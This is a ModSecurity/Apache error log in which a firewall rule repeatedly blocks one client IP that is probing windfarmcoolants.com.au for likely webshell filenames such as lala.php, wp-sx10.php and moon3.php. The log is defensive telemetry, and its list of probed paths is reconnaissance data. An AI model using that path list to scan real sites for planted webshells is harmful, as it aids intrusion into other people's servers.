[Mon Apr 27 02:09:03.088198 2026] [:error] [pid 13197:tid 13238] [client 74.248.148.150:49403] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wuasr.php"] [unique_id "ae5Uv93kktFKdSxTrBv19wAAAsc"]
[Mon Apr 27 02:09:03.815469 2026] [:error] [pid 22572:tid 22593] [client 74.248.148.150:27342] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lala.php"] [unique_id "ae5Uv9XOViWCFU-pZzBgsAAAAU8"]
[Mon Apr 27 02:09:04.489404 2026] [:error] [pid 16574:tid 16607] [client 74.248.148.150:43029] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lala.php"] [unique_id "ae5UwH5MsX8wRQr99nZRIgAAA0M"]
[Mon Apr 27 02:09:05.074168 2026] [:error] [pid 16515:tid 16530] [client 74.248.148.150:34235] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lala.php"] [unique_id "ae5UwVtDrUmgHSvpuLxsNAAAAkw"]
[Mon Apr 27 02:09:05.707771 2026] [:error] [pid 22573:tid 22611] [client 74.248.148.150:49390] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lala.php"] [unique_id "ae5UwXB3EmQlD4yKUt89swAAAYU"]
[Mon Apr 27 02:09:06.350177 2026] [:error] [pid 22572:tid 22583] [client 74.248.148.150:43119] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sko.php"] [unique_id "ae5UwtXOViWCFU-pZzBgtwAAAUU"]
[Mon Apr 27 02:09:06.973756 2026] [:error] [pid 13137:tid 13149] [client 74.248.148.150:61585] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sko.php"] [unique_id "ae5Uwt0RB4J0o4h5neHNqAAAAgk"]
[Mon Apr 27 02:09:07.593853 2026] [:error] [pid 8390:tid 8453] [client 74.248.148.150:35984] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sko.php"] [unique_id "ae5Uw4GPtFK_i9p5yxTIJwAAAII"]
[Mon Apr 27 02:09:08.235550 2026] [:error] [pid 8491:tid 8518] [client 74.248.148.150:3761] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sko.php"] [unique_id "ae5UxCq7I7e6CJooQM07rQAAANM"]
[Mon Apr 27 02:09:08.761308 2026] [:error] [pid 8383:tid 8415] [client 74.248.148.150:48769] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new4.php"] [unique_id "ae5UxNFa2S3EsATMdWO21wAAABI"]
[Mon Apr 27 02:09:09.345090 2026] [:error] [pid 22572:tid 22599] [client 74.248.148.150:27344] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new4.php"] [unique_id "ae5UxdXOViWCFU-pZzBgvAAAAVU"]
[Mon Apr 27 02:09:09.921400 2026] [:error] [pid 22572:tid 22578] [client 74.248.148.150:61590] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new4.php"] [unique_id "ae5UxdXOViWCFU-pZzBgvwAAAUA"]
[Mon Apr 27 02:09:10.513588 2026] [:error] [pid 16574:tid 16631] [client 74.248.148.150:43126] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new4.php"] [unique_id "ae5Uxn5MsX8wRQr99nZRKAAAA1I"]
[Mon Apr 27 02:09:11.110362 2026] [:error] [pid 13137:tid 13163] [client 74.248.148.150:27333] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "ae5Ux90RB4J0o4h5neHNsAAAAhY"]
[Mon Apr 27 02:09:11.961494 2026] [:error] [pid 16515:tid 16540] [client 74.248.148.150:61608] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "ae5Ux1tDrUmgHSvpuLxsOwAAAlY"]
[Mon Apr 27 02:09:12.623047 2026] [:error] [pid 8383:tid 8408] [client 74.248.148.150:61629] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "ae5UyNFa2S3EsATMdWO24QAAAAs"]
[Mon Apr 27 02:09:13.293918 2026] [:error] [pid 8390:tid 8456] [client 74.248.148.150:27345] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "ae5UyYGPtFK_i9p5yxTILQAAAIU"]
[Mon Apr 27 02:09:13.970279 2026] [:error] [pid 8390:tid 8474] [client 74.248.148.150:32315] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fileas.php"] [unique_id "ae5UyYGPtFK_i9p5yxTILgAAAJc"]
[Mon Apr 27 02:09:14.873648 2026] [:error] [pid 8383:tid 8403] [client 74.248.148.150:61591] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fileas.php"] [unique_id "ae5UytFa2S3EsATMdWO25QAAAAY"]
[Mon Apr 27 02:09:15.499548 2026] [:error] [pid 22573:tid 22631] [client 74.248.148.150:60123] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fileas.php"] [unique_id "ae5Uy3B3EmQlD4yKUt89tgAAAZg"]
[Mon Apr 27 02:09:16.071622 2026] [:error] [pid 13137:tid 13151] [client 74.248.148.150:61608] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fileas.php"] [unique_id "ae5UzN0RB4J0o4h5neHNtwAAAgo"]
[Mon Apr 27 02:09:16.675353 2026] [:error] [pid 22572:tid 22594] [client 74.248.148.150:50060] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/system.php"] [unique_id "ae5UzNXOViWCFU-pZzBgxQAAAVA"]
[Mon Apr 27 02:09:17.296270 2026] [:error] [pid 8385:tid 8429] [client 74.248.148.150:3269] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/system.php"] [unique_id "ae5UzTOy7_J84Wx3-oz3XAAAAEU"]
[Mon Apr 27 02:09:17.844836 2026] [:error] [pid 8390:tid 8453] [client 74.248.148.150:43100] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/system.php"] [unique_id "ae5UzYGPtFK_i9p5yxTINQAAAII"]
[Mon Apr 27 02:09:18.448890 2026] [:error] [pid 22572:tid 22581] [client 74.248.148.150:34228] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/system.php"] [unique_id "ae5UztXOViWCFU-pZzBgxgAAAUM"]
[Mon Apr 27 02:09:19.009170 2026] [:error] [pid 22573:tid 22607] [client 74.248.148.150:61571] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "ae5Uz3B3EmQlD4yKUt89vAAAAYE"]
[Mon Apr 27 02:09:19.580018 2026] [:error] [pid 13137:tid 13142] [client 74.248.148.150:43109] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "ae5Uz90RB4J0o4h5neHNvAAAAgI"]
[Mon Apr 27 02:09:20.129910 2026] [:error] [pid 16515:tid 16535] [client 74.248.148.150:43115] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "ae5U0FtDrUmgHSvpuLxsQwAAAlE"]
[Mon Apr 27 02:09:20.735875 2026] [:error] [pid 22572:tid 22599] [client 74.248.148.150:3290] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "ae5U0NXOViWCFU-pZzBgxwAAAVU"]
[Mon Apr 27 02:09:21.321786 2026] [:error] [pid 8385:tid 8431] [client 74.248.148.150:43135] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wolv2.php"] [unique_id "ae5U0TOy7_J84Wx3-oz3YAAAAEc"]
[Mon Apr 27 02:09:21.971304 2026] [:error] [pid 8390:tid 8463] [client 74.248.148.150:34201] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wolv2.php"] [unique_id "ae5U0YGPtFK_i9p5yxTINwAAAIw"]
[Mon Apr 27 02:09:22.555983 2026] [:error] [pid 8390:tid 8475] [client 74.248.148.150:49354] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wolv2.php"] [unique_id "ae5U0oGPtFK_i9p5yxTIOQAAAJg"]
[Mon Apr 27 02:09:23.138454 2026] [:error] [pid 13137:tid 13153] [client 74.248.148.150:3315] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wolv2.php"] [unique_id "ae5U090RB4J0o4h5neHNvwAAAgw"]
[Mon Apr 27 02:09:23.713463 2026] [:error] [pid 8383:tid 8420] [client 74.248.148.150:33579] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-db.php"] [unique_id "ae5U09Fa2S3EsATMdWO25wAAABc"]
[Mon Apr 27 02:09:24.250987 2026] [:error] [pid 8390:tid 8459] [client 74.248.148.150:50083] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-db.php"] [unique_id "ae5U1IGPtFK_i9p5yxTIPwAAAIg"]
[Mon Apr 27 02:09:24.936288 2026] [:error] [pid 8383:tid 8404] [client 74.248.148.150:43092] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-db.php"] [unique_id "ae5U1NFa2S3EsATMdWO26AAAAAc"]
[Mon Apr 27 02:09:25.450249 2026] [:error] [pid 22572:tid 22600] [client 74.248.148.150:61606] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-db.php"] [unique_id "ae5U1dXOViWCFU-pZzBgyQAAAVY"]
[Mon Apr 27 02:09:26.160051 2026] [:error] [pid 16515:tid 16521] [client 74.248.148.150:27346] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-sx10.php"] [unique_id "ae5U1ltDrUmgHSvpuLxsRwAAAkM"]
[Mon Apr 27 02:09:26.763384 2026] [:error] [pid 16574:tid 16633] [client 74.248.148.150:34185] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-sx10.php"] [unique_id "ae5U1n5MsX8wRQr99nZRMAAAA1M"]
[Mon Apr 27 02:09:27.366566 2026] [:error] [pid 13197:tid 13231] [client 74.248.148.150:43126] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-sx10.php"] [unique_id "ae5U193kktFKdSxTrBv2AgAAAsA"]
[Mon Apr 27 02:09:27.913512 2026] [:error] [pid 16574:tid 16610] [client 74.248.148.150:49375] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-sx10.php"] [unique_id "ae5U135MsX8wRQr99nZRMQAAA0Y"]
[Mon Apr 27 02:09:28.504925 2026] [:error] [pid 22572:tid 22602] [client 74.248.148.150:34217] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xml.php"] [unique_id "ae5U2NXOViWCFU-pZzBgzQAAAVg"]
[Mon Apr 27 02:09:29.208679 2026] [:error] [pid 22573:tid 22626] [client 74.248.148.150:3270] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xml.php"] [unique_id "ae5U2XB3EmQlD4yKUt891QAAAZM"]
[Mon Apr 27 02:09:30.025683 2026] [:error] [pid 16574:tid 16606] [client 74.248.148.150:34239] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xml.php"] [unique_id "ae5U2n5MsX8wRQr99nZRMgAAA0I"]
[Mon Apr 27 02:09:30.556443 2026] [:error] [pid 16515:tid 16536] [client 74.248.148.150:32266] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xml.php"] [unique_id "ae5U2ltDrUmgHSvpuLxsSAAAAlI"]
[Mon Apr 27 02:09:31.310120 2026] [:error] [pid 8390:tid 8470] [client 74.248.148.150:43074] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moon3.php"] [unique_id "ae5U24GPtFK_i9p5yxTIQgAAAJM"]
[Mon Apr 27 02:09:31.978871 2026] [:error] [pid 16515:tid 16533] [client 74.248.148.150:43032] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moon3.php"] [unique_id "ae5U21tDrUmgHSvpuLxsSgAAAk8"]
[Mon Apr 27 02:09:32.641773 2026] [:error] [pid 22573:tid 22616] [client 74.248.148.150:34187] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moon3.php"] [unique_id "ae5U3HB3EmQlD4yKUt892gAAAYk"]
[Mon Apr 27 02:09:33.248525 2026] [:error] [pid 8383:tid 8404] [client 74.248.148.150:27365] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moon3.php"] [unique_id "ae5U3dFa2S3EsATMdWO29wAAAAc"]
[Mon Apr 27 02:09:33.880279 2026] [:error] [pid 8390:tid 8456] [client 74.248.148.150:32278] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/db.php"] [unique_id "ae5U3YGPtFK_i9p5yxTITQAAAIU"]
[Mon Apr 27 02:09:34.460110 2026] [:error] [pid 22572:tid 22599] [client 74.248.148.150:27329] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/db.php"] [unique_id "ae5U3tXOViWCFU-pZzBg0gAAAVU"]
[Mon Apr 27 02:09:35.044151 2026] [:error] [pid 13197:tid 13255] [client 74.248.148.150:3271] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/db.php"] [unique_id "ae5U393kktFKdSxTrBv2AwAAAtc"]
[Mon Apr 27 02:09:35.611674 2026] [:error] [pid 22573:tid 22607] [client 74.248.148.150:33554] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/db.php"] [unique_id "ae5U33B3EmQlD4yKUt893QAAAYE"]
[Mon Apr 27 02:09:36.201253 2026] [:error] [pid 13137:tid 13160] [client 74.248.148.150:61572] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "ae5U4N0RB4J0o4h5neHN1AAAAhM"]
[Mon Apr 27 02:09:36.797291 2026] [:error] [pid 22572:tid 22585] [client 74.248.148.150:3715] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "ae5U4NXOViWCFU-pZzBg1AAAAUc"]
[Mon Apr 27 02:09:37.399416 2026] [:error] [pid 8491:tid 8508] [client 74.248.148.150:33553] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "ae5U4Sq7I7e6CJooQM07tgAAAMk"]
